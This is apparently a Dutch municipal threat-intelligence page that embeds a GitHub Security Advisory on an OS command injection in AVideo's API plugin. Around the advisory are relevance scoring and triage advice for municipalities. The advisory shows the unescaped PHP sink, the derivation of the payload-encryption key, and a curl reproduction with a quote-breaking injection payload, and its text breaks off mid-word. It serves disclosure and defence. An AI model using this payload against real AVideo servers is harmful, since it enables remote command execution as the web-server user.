Leveranciersincident · Bron: GitHub Security Advisories · Zekerheid: waarschijnlijk · Gepubliceerd 23 november 2026
AVideo API vulnerable to OS command injection through an unescaped FFmpeg process keyword
Geen actie nodig; we volgen dit.
Werk je bij een gemeente? Log in om te zien of dit jouw gemeente raakt. Het oordeel komt dan uit het register van je gemeente.
Deze dreiging heeft een beperkte relevantie voor gemeenten. Omdat het een leverancier betreft, is de gemeente afhankelijk van diens herstel en is regie op de keten nodig. Reguliere opvolging door ICT-beheer en de ISO volstaat; bestuurlijke betrokkenheid is nu niet nodig.
Betrokken rollen: CISO · ISO · SOC · ICT beheer · Leveranciersmanager
### Summary The helper `listFFmpegProcesses($keyword)` in `plugin/API/standAlone/functions.php` builds a shell pipeline by interpolating `$keyword` inside single quotes and running it with `exec()`: ```php $command .= " | grep '$keyword'"; exec($command, $output, $status); ``` The two callers in `plugin/API/standAlone/ffmpeg.json.php` (the `list` mode and the `isKeywordRunning` mode) pass the RAW decrypted `codeToExec` field, not the sanitized `$keyword` variable that the endpoint allowlists elsewhere. Because the value is placed inside a single-quoted shell context with no escaping, a payload that closes the quote (for example `x'; touch /tmp/marker #`) breaks out and injects an arbitrary command that runs via `exec()`'s `/bin/sh -c`. An attacker who can craft a valid encrypted payload achieves OS command execution as the web-server user. ### Vulnerable code Sink — `plugin/API/standAlone/functions.php`, `listFFmpegProcesses()` (around lines 139-147): ```php function listFFmpegProcesses($keyword = '') { $command = "ps -eo pid,etime,%cpu,%mem,cmd | grep '[f]fmpeg'"; if (!empty($keyword)) { $command .= " | grep '$keyword'"; // $keyword interpolated inside single quotes, unescaped } exec($command, $output, $status); // runs via /bin/sh -c ``` Callers — `plugin/API/standAlone/ffmpeg.json.php` pass the RAW decrypted field, bypassing the allowlisting applied to the local `$keyword` variable. That local variable is built at line ~136 as `$keyword = preg_replace('/[^a-zA-Z0-9_-]/', '', $codeToExec->keyword)`, but the two callers below never use it: ```php // list mode (line ~221) $list = listFFmpegProcesses($codeToExec->keyword); // isKeywordRunning mode (line ~341) $list = listFFmpegProcesses($codeToExec->isKeywordRunning); ``` Neither mode is gated by the `$isStandAlone` check that guards the `deleteFolder` / `deleteFile` modes, so both run on any AVideo instance. ### Reachability Reached by sending a `codeToExec` payload with either `list = 1` and a malicious `keyword`, or with a malicious `isKeywordRunning` value. Both modes call `listFFmpegProcesses()` with the raw field before any allowlist is applied to it. ### Privilege required Same trust boundary as the parent command-injection fix in this endpoint: an attacker who can craft a valid encrypted `codeToExec` payload with a valid `APISecret`. `_decryptString()` calls the platform `decryptString` API (AES-256-CBC; key = `hash('sha256', $global['saltV2'])`, iv = `substr(hash('sha256', $global['systemRootPath']), 0, 16)`), and the payload is accepted when `payload->time` is within the last 30 seconds. No interactive login is required. ### Reproduction (end-to-end, against master HEAD) Deployed the master HEAD source (commit `8eaca9d5`, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer, enabled the API plugin, and confirmed the `decryptString` / `isAPISecretValid` platform APIs live over HTTP. `APISecret` is `md5($global['salt'] . $global['systemRootPath'] . 'API')`. A `codeToExec` was encrypted (`encryptString()`) with: - `time` = now - `list` = 1 - `keyword` = `x'; touch /tmp/avideo_kw_rce_1782909694_20509 #` POST: ``` curl -s -X POST "http:// /plugin/API/standAlone/ffmpeg.json.php" \ --data-urlencode "APISecret= " \ --data-urlencode "codeToExecEncrypted= " ``` Verbatim response (normal list output while the injection ran as a side effect): ``` {"error":false,"msg":"","list":[]} ``` The injected `touch` ran (marker created by the web-server user): ``` -rw-r--r-- 1 www-data www-data 0 Jul 1 12:41 /tmp/avideo_kw_rce_1782909694_20509 ``` Same result through the `isKeywordRunning` mode (payload `x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #`): ``` {"error":true,"msg":"No FFmpeg process found with the given keyword","isRunning":false,"keyword":"x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #"} -rw-r--r-- 1 www-data www-data 0 Jul 1 12:41 /tmp/avideo_ikr_rce_1782909715_3303 ``` Negative control (benign alphanumeric keyword `benig
CVE-2026-63304
Leveranciers: composer
CVE-2026-63492
Leveranciers: composer
Exploiteerbaarheid: geen exploit bekend. Blootstelling: niet internet-facing / geen bekende blootstelling. Gemeentelijke relevantie: geen match met de gemeentelijke context. Impact: burgerdienstverlening kan geraakt worden. Bronvertrouwen: middel.
Exploiteerbaarheid · Geen exploit bekend
geen exploit bekend
Blootstelling · Laag
niet internet-facing / geen bekende blootstelling
Gemeentelijke relevantie · Geen match
geen match met de gemeentelijke context
Deel geen vertrouwelijke of persoonsgegevens in dit formulier. Beschrijf je melding algemeen; gevoelige details horen niet op een publieke radar thuis.
Impact · Dienstverlening
burgerdienstverlening kan geraakt worden
Zekerheid en bronkwaliteit · Middel
beperkt bevestigd
Mitigatie · Laag
geen mitigatie bekend
EPSS-kans · licht verhogend
EPSS schat de kans op misbruik binnen 30 dagen op 2%.
Leveranciersketenimpact · verhogend
De dreiging raakt een leverancier of de toeleveringsketen; gemeenten zijn sterk afhankelijk van externe leveranciers.
Beperkte zekerheid van het signaal · verlagend
De zekerheid is 'waarschijnlijk'; een onbevestigd signaal verlaagt de urgentie tot het is geverifieerd.
Deze dreiging scoort 15/100 voor de gemeentelijke relevantie. Meegewogen: geen leverancier uit de catalogus of gemeentelijke context. Wel meegewogen: een leveranciers- of ketenrisico. Geraakte processen: Netwerk en infrastructuur, Leveranciersketen.
Geraakte processen: Netwerk en infrastructuur, Leveranciersketen
Geraakte technologie: Apache, Containers, Opensource, composer, wwbn/avideo
Categorie 'leveranciersincident': overgenomen van de bron ('leveranciersincident'); losse termen in het advies bepalen het soort dreiging niet. Ernst 'hoog' bepaald op basis van: bronlabel 'hoog'. Zekerheid 'waarschijnlijk': gerenommeerd securityonderzoek (GitHub Security Advisories). Herkende leveranciers/producten: Apache.
De prioriteit volgt vaste regels en is na te rekenen; er komt geen AI-inschatting aan te pas. Weeg de aannames mee voor je eigen omgeving.